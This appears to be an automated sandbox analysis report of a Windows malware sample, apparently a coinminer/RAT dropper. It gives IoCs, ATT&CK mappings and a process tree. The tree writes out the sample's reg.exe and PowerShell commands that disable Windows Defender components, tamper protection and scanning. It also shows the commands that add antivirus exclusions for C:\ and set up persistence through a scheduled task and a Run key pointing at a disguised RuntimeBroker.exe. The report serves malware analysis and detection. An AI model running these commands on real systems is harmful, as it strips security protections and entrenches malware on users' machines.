6f158cf44311c9634da506f8d1d9c67b2a1c21f160b9f5a28afa679d1b6e3529

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 32 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScriptScanning = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScriptScanning = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScriptScanning = "1"	reg.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 3 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe

Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs

resource	yara_rule
behavioral1/files/0x00100000000242b5-47.dat	INDICATOR_SUSPICIOUS_DisableWinDefender

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs

resource	yara_rule
behavioral1/files/0x00100000000242b5-47.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2596	powershell.exe
4556	powershell.exe
1368	powershell.exe
4552	powershell.exe
4864	powershell.exe
3840	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

pid	Process
2596	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1476	RuntimeBroker.exe
2392	RuntimeBroker.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\WindowsApps\\RuntimeBroker.exe\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\WindowsApps\\RuntimeBroker.exe\""	reg.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
220	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
312	timeout.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

pid	Process
1652	reg.exe
3064	reg.exe
564	reg.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
756	schtasks.exe
5016	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2596	powershell.exe
2596	powershell.exe
4556	powershell.exe
4556	powershell.exe
1368	powershell.exe
1368	powershell.exe
4552	powershell.exe
4552	powershell.exe
4864	powershell.exe
4864	powershell.exe
3840	powershell.exe
3840	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeDebugPrivilege	4556	powershell.exe
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeDebugPrivilege	4552	powershell.exe
Token: SeDebugPrivilege	4864	powershell.exe
Token: SeDebugPrivilege	3840	powershell.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 3464 wrote to memory of 1520	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	87
PID 1520 wrote to memory of 4492	1520	net.exe	89
PID 3464 wrote to memory of 1940	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	90
PID 3464 wrote to memory of 2708	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	92
PID 3464 wrote to memory of 3200	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	94
PID 3464 wrote to memory of 2656	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	96
PID 3464 wrote to memory of 3792	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	98
PID 3464 wrote to memory of 1992	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	100
PID 3464 wrote to memory of 1080	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	102
PID 3464 wrote to memory of 2596	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	104
PID 3464 wrote to memory of 3168	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	106
PID 3464 wrote to memory of 228	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	108
PID 3464 wrote to memory of 4556	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	110
PID 3464 wrote to memory of 1368	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	112
PID 3464 wrote to memory of 4552	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	114
PID 3464 wrote to memory of 756	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	116
PID 3464 wrote to memory of 1652	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	118
PID 3464 wrote to memory of 1476	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	121
PID 1476 wrote to memory of 4360	1476	RuntimeBroker.exe	123
PID 4360 wrote to memory of 3452	4360	net.exe	125
PID 1476 wrote to memory of 648	1476	RuntimeBroker.exe	126
PID 1476 wrote to memory of 4424	1476	RuntimeBroker.exe	129
PID 2392 wrote to memory of 2448	2392	RuntimeBroker.exe	130
PID 1476 wrote to memory of 4660	1476	RuntimeBroker.exe	133
PID 2448 wrote to memory of 3056	2448	net.exe	135
PID 1476 wrote to memory of 708	1476	RuntimeBroker.exe	136
PID 2392 wrote to memory of 2728	2392	RuntimeBroker.exe	138
PID 1476 wrote to memory of 4220	1476	RuntimeBroker.exe	140
PID 2392 wrote to memory of 4320	2392	RuntimeBroker.exe	142
PID 1476 wrote to memory of 3552	1476	RuntimeBroker.exe	144
PID 2392 wrote to memory of 1068	2392	RuntimeBroker.exe	145
PID 1476 wrote to memory of 4904	1476	RuntimeBroker.exe	148
PID 2392 wrote to memory of 4752	2392	RuntimeBroker.exe	149
PID 2392 wrote to memory of 2892	2392	RuntimeBroker.exe	152
PID 1476 wrote to memory of 4864	1476	RuntimeBroker.exe	153
PID 2392 wrote to memory of 4572	2392	RuntimeBroker.exe	156
PID 2392 wrote to memory of 2536	2392	RuntimeBroker.exe	158
PID 2392 wrote to memory of 3840	2392	RuntimeBroker.exe	160
PID 3464 wrote to memory of 220	3464	2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	162
PID 220 wrote to memory of 312	220	cmd.exe	164
PID 1476 wrote to memory of 5016	1476	RuntimeBroker.exe	165
PID 1476 wrote to memory of 3064	1476	RuntimeBroker.exe	167
PID 1476 wrote to memory of 4688	1476	RuntimeBroker.exe	180
PID 1476 wrote to memory of 564	1476	RuntimeBroker.exe	181

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-04_4151b139997c71346ff7c3c0a0342b47_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3464
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1520
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4492
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:1940
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2708
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3200
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2656
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScriptScanning /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3792
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1992
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -EA 0;Set-MpPreference -DisableBehaviorMonitoring $true -EA 0;Set-MpPreference -DisableIOAVProtection $true -EA 0;Set-MpPreference -DisableScriptScanning $true -EA 0;Set-MpPreference -DisableIntrusionPreventionSystem $true -EA 0;Set-MpPreference -MAPSReporting Disabled -EA 0;Set-MpPreference -SubmitSamplesConsent NeverSend -EA 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2596
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  2⤵
  - Modifies Windows Defender TamperProtection settings
  PID:3168
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtectionSource /t REG_DWORD /d 2 /f
  2⤵
  PID:228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\' -EA 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\WindowsApps' -EA 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp' -EA 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4552
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask /tr \"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe\" /sc minute /mo 20 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:756
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBroker /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe\" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1652
- C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe
  C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1476
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4360
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3452
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:648
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4424
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4660
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:708
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScriptScanning /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4220
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3552
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
    3⤵
    - Modifies Windows Defender TamperProtection settings
    PID:4904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -EA 0;Set-MpPreference -DisableBehaviorMonitoring $true -EA 0;Set-MpPreference -DisableIOAVProtection $true -EA 0;Set-MpPreference -DisableScriptScanning $true -EA 0;Set-MpPreference -DisableIntrusionPreventionSystem $true -EA 0;Set-MpPreference -MAPSReporting Disabled -EA 0;Add-MpPreference -ExclusionPath 'C:\' -EA 0"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4864
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn MicrosoftEdgeUpdateTask /tr \"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe\" /sc minute /mo 20 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5016
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBroker /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe\" /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:3064
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn MicrosoftEdgeUpdateTask
    3⤵
    PID:4688
- - C:\Windows\system32\reg.exe
    reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBroker
    3⤵
    - Modifies registry key
    PID:564
- C:\Windows\system32\cmd.exe
  cmd.exe /c C:\Users\Admin\AppData\Local\Temp\_sd.bat
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:220
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:312

C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe
"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2392
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2448
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:3056
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:2728
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4320
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1068
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4752
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScriptScanning /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2892
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4572
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  2⤵
  - Modifies Windows Defender TamperProtection settings
  PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -EA 0;Set-MpPreference -DisableBehaviorMonitoring $true -EA 0;Set-MpPreference -DisableIOAVProtection $true -EA 0;Set-MpPreference -DisableScriptScanning $true -EA 0;Set-MpPreference -DisableIntrusionPreventionSystem $true -EA 0;Set-MpPreference -MAPSReporting Disabled -EA 0;Add-MpPreference -ExclusionPath 'C:\' -EA 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3840

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry